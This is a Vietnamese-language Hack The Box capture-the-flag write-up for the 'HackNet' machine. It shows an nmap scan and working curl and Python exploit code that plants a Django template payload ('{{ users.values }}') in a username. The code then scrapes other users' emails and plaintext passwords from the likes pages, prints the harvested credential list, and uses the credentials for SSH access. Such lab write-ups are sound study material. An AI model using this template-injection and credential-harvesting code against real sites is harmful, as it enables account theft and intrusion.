# HTB - HackNet ![image](https://hackmd.io/_uploads/H1gJ4oPzbx.png) ## Nmap ```shell $ nmap -sC -sV 10.129.232.4 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-10 19:42 CST Nmap scan report for 10.129.232.4 Host is up (0.31s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0) | ssh-hostkey: | 256 95:62:ef:97:31:82:ff:a1:c6:08:01:8c:6a:0f:dc:1c (ECDSA) |_ 256 5f:bd:93:10:20:70:e6:09:f1:ba:6a:43:58:86:42:66 (ED25519) 80/tcp open http nginx 1.22.1 |_http-server-header: nginx/1.22.1 |_http-title: Did not follow redirect to http://hacknet.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` Thực hiện truy cập vào domain hacknet.htb ta thấy giao diện web ![image](https://hackmd.io/_uploads/ryiE4jDf-l.png) Ở đây ta có thể thấy Web framework đang được sử dụng là Django ![image](https://hackmd.io/_uploads/H1B-IoDzWx.png) **Môi trường:** Web app sử dụng Django. **Khó khăn:** Django Template Language (DTL) mặc định không cho phép thực thi code Python tùy ý (ví dụ: bạn không thể chạy `{{ 7*7 }}` hay `{{ os.system('id') }}` như Jinja2). Nó chỉ cho phép truy xuất các biến (variables) đã được lập trình viên truyền vào context (ngữ cảnh) của trang web. Ý tưởng khai thác: Trang `/likes/<post_id>` render danh sách người đã like bằng `<img title="username">`. Nếu username của mình là chuỗi template `{{ users.values }}`, khi Django render, biến users (QuerySet các user đã like) sẽ được in vào title. Do DTL autoescape, không RCE, nhưng toàn bộ record trong QuerySet (email/username/password/...) lộ ra dưới dạng chuỗi trong title (HTML-escaped). Khi unescape title cuối cùng trong `/likes/<id>`, sẽ thấy QuerySet chứa dữ liệu nhạy cảm của tất cả user đã like bài đó. Khai thác chi tiết Đăng nhập và đổi username thành payload ```python cookie_file=/tmp/hacknet_cookies # Lấy CSRF và login csrf=$(curl -s -H "Host: hacknet.htb" -c "$cookie_file" http://10.129.232.4/login \ | grep -oP 'name="csrfmiddlewaretoken" value="\K[^"]+') curl -s -H "Host: hacknet.htb" -b "$cookie_file" -c "$cookie_file" \ -e "http://hacknet.htb/login" \ -d "csrfmiddlewaretoken=$csrf&email=<email>&password=<pass>" \ http://10.129.232.4/login -o /dev/null # Đổi username thành payload, đổi email để tránh trùng csrf_edit=$(curl -s -H "Host: hacknet.htb" -b "$cookie_file" http://10.129.232.4/profile/edit \ | grep -oP 'name="csrfmiddlewaretoken" value="\K[^"]+') curl -s -H "Host: hacknet.htb" -b "$cookie_file" \ -e "http://hacknet.htb/profile/edit" \ -F "csrfmiddlewaretoken=$csrf_edit" \ -F "username={{ users.values }}" \ -F "email=<email_moi>" \ -F "password=" \ -F "about=" \ -F "is_public=on" \ http://10.129.232.4/profile/edit -o /dev/null ``` Trích xuất creds qua /likes ```python import re, html, requests from http.cookiejar import MozillaCookieJar cookie_path = "/tmp/hacknet_cookies" # cookie đã login + đổi username payload base = "http://10.129.232.4" headers = {"Host": "hacknet.htb"} cj = MozillaCookieJar(cookie_path) cj.load(ignore_discard=True, ignore_expires=True) s = requests.Session(); s.cookies = cj creds = {} max_posts = 120 # quét nhiều bài for pid in range(1, max_posts+1): s.get(f"{base}/like/{pid}", headers=headers, timeout=5) # tự like r = s.get(f"{base}/likes/{pid}", headers=headers, timeout=5) titles = re.findall(r'title="([^"]+)"', r.text) if not titles: continue data = html.unescape(titles[-1]) # title cuối cùng (của mình) if "QuerySet" not in data: continue emails = re.findall(r"'email': '([^']+)'", data) users = re.findall(r"'username': '([^']+)'", data) pwds = re.findall(r"'password': '([^']+)'", data) for e,u,p in zip(emails, users, pwds): creds[u] = (e,p) print("[+] Tổng số cặp:", len(creds)) for u,(e,p) in sorted(creds.items()): print(f"{u}:{p} ({e})") ``` Kết quả thu được: ``` backdoor_bandit : mYd4rks1dEisH3re (mikey@hacknet.htb) blackhat_wolf : Bl@ckW0lfH@ck brute_force : BrUt3F0rc3# bytebandit : Byt3B@nd!t123 codebreaker : C0d3Br3@k! cryptoraven : CrYptoR@ven42 cyberghost : Gh0stH@cker2024 darkseeker : D@rkSeek3r# datadive : D@taD1v3r deepdive : D33pD!v3r exploit_wizard : Expl01tW!zard glitch : Gl1tchH@ckz hexhunter : H3xHunt3r! netninja : N3tN1nj@2024 packetpirate : P@ck3tP!rat3 phreaker : Phre@k3rH@ck rootbreaker : R00tBr3@ker# shadowcaster : Sh@d0wC@st! shadowmancer : Sh@d0wM@ncer shadowwalker : Sh@dowW@lk2024 stealth_hawk : St3@lthH@wk trojanhorse : Tr0j@nH0rse! virus_viper : V!rusV!p3r2024 whitehat : Wh!t3H@t2024 zero_day : Zer0D@yH@ck hung : hung ``` Thử các tài khoản để ssh và lụm cờ user thôi ![image](https://hackmd.io/_uploads/SJuMYIOfZe.png)